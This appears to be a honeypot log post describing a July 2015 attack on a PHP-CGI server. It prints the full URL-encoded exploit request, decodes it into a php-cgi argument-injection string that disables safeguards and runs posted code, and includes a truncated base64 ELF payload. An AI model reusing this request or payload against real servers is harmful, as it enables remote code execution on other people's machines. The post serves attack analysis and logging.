HTTP Buffer overflow attempt - 204.15.135.116

BEGIN OF HTTP DATA:
2015-07-23 18:20:31
Source IP: 204.15.135.116
Country: US RiskScore: 1 Malware: []
POST /cgi-bin/php-cgi.bin?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68
%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65
%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F
%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: 195.169.125.87
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 43604
Connection: close

The decoded string is

 /cgi-bin/php-cgi.bin?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env="yes"+-d+cgi.fix_pathinfo=1+-d+auto_prepend_file=php://input+-n

More intresting is the buffer overflow which was tried to do

 <?php
$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAEDwQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAA5EMAAAAAAADkQwAAA
AAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAB1k/mqVVBYIeAHDRYAAAAAYJ4AAGCeAAAAAgAAsAAAAAIAAAD7+yH/f0VMRgIBAQACAD4ADdAbQA+7ZL8XBQCglyITOADdsu67CAUbABoABg8FJwdA5IQ8IcABAAgA2GCT7gNwBHhABwIyIU8cAAAB+cAG9m+NB2SJADyTbQkAEDcGkJ6dkO8HUDAFN+ALNxnkQgIoBySDTUhQoN+gpJsMMgQcB0AHmZA
nIAAABFDlE/K933RkC+SADQdAlGcOS8gBADdRp4BhI7AApwAAAAAAAEAC/2SHAADuOAAAAkkHANt/u/0vbGliNjQFZC0IbnV4LXg4Ni0PLvem2/5zby4yAAQAABADAUdOVQAASHfJ5QIABgBDC1BN0w02Swc8
H0lATTdI0zQyO0RKA6S7sE0HOQAAEws0gDTdF2cpaxY2NE03yCgNGzU+RQ02SNNMIE+zC03TdIMPSB8FKzElgw3SNCojIQc4gw3YIC2TPQdH0zTdIA4DOkFGbNM0TRsUTggzAACSAeyCAy8PZpDBBhgjEBWQb
kCaBAoSCx9kCBtsHgcmTxEhGaQbLiMJIoakG7IsDwYTMCdBugHpDyQvCzemaZqGHCc/FxlCAZBBmh0MGmSQy96KAdcXOG5eyEGGo0kCSAEMciHPR3YABZ6H5OyQbAEXvIUADDIkJyYoTyBDMoTI95CDDcn2Xo
/HALtAnrzIAAgCcdeNZJAhjs6DMCSDRx+vBwuQDDIk1XTsAjnYkY9qAA5fHZLBhpkXaO1EO6SQnEd7myB3IWSwIZsXgkhOXsgVAr4KB+SQnHBiAcc7IQIdsiHkGFan3wuEMIScL7QGN32NQzZbj+kHihstQjb
IkC+czxeTQ/K9j7+7PAFIBhmSlVSzySEZbNwX/6oBSE4OyfhmANCMIRlki/JkP2SQIRncEkEtG7IhYy8rH2BDNoFHpC+kF8iGDck09DdfCENycrkBZdRXXNghbBdqAi+iDDYkg9kQj8FGMsiQ8vcGGZLBXy43
6yEZbEgzL2JgDMnJOQE0rc9CTg7JUckAVMnJIRtIFzwD4TYkgw1Ld8iQCCQXCBwCh+iQITk7qQGnSSUNyQVyugA8cQwyJIPvmBFCsJE1hHFPHySDDdkXCket7JAMNu4Xex8Bg05oE+fA1UCVTQgGkHjOHgAgB
0KQnHXId0EBH9TYEDLIClkVX+3//0MAX0p2X1JlZ2lzdGVyQ2xhc3NlcxN3tL39X2dtb25fEmFydAsAOnB0aP23ePRyZWFkLwl3YWl0cGlkALDbVroRY3a4KG4HdAAhbXOXfV9leGkMYwVXAFNvxdq3bi1hY2
NlFzxVb3Jrt67dbhVpZxN0aT9vaDdycrqRzf5ub19sb2NhEhCEY9Z+a/R+JJZyY3B5ABQ83ejb3WwMZG91UHZzcHLXdGa5d262D24IQCd0b2xfDTc3drtKbmEqZ2W1ZgfibWVtt+a+bURwZYsTZW8xbdvWbq4
jbUFsZacFeZ5udmtta6YgbyJ8d2NrNWvb/7rHbOpmZmx1c2gGYy4RzwoXWtc0cm0GPGtp2JpbagaTae4DMF/NtdddAmRyNXQ [... SNIPPET. ..]

 

 My honeypot fetched 8k of data, which is the maximum length of the used buffer.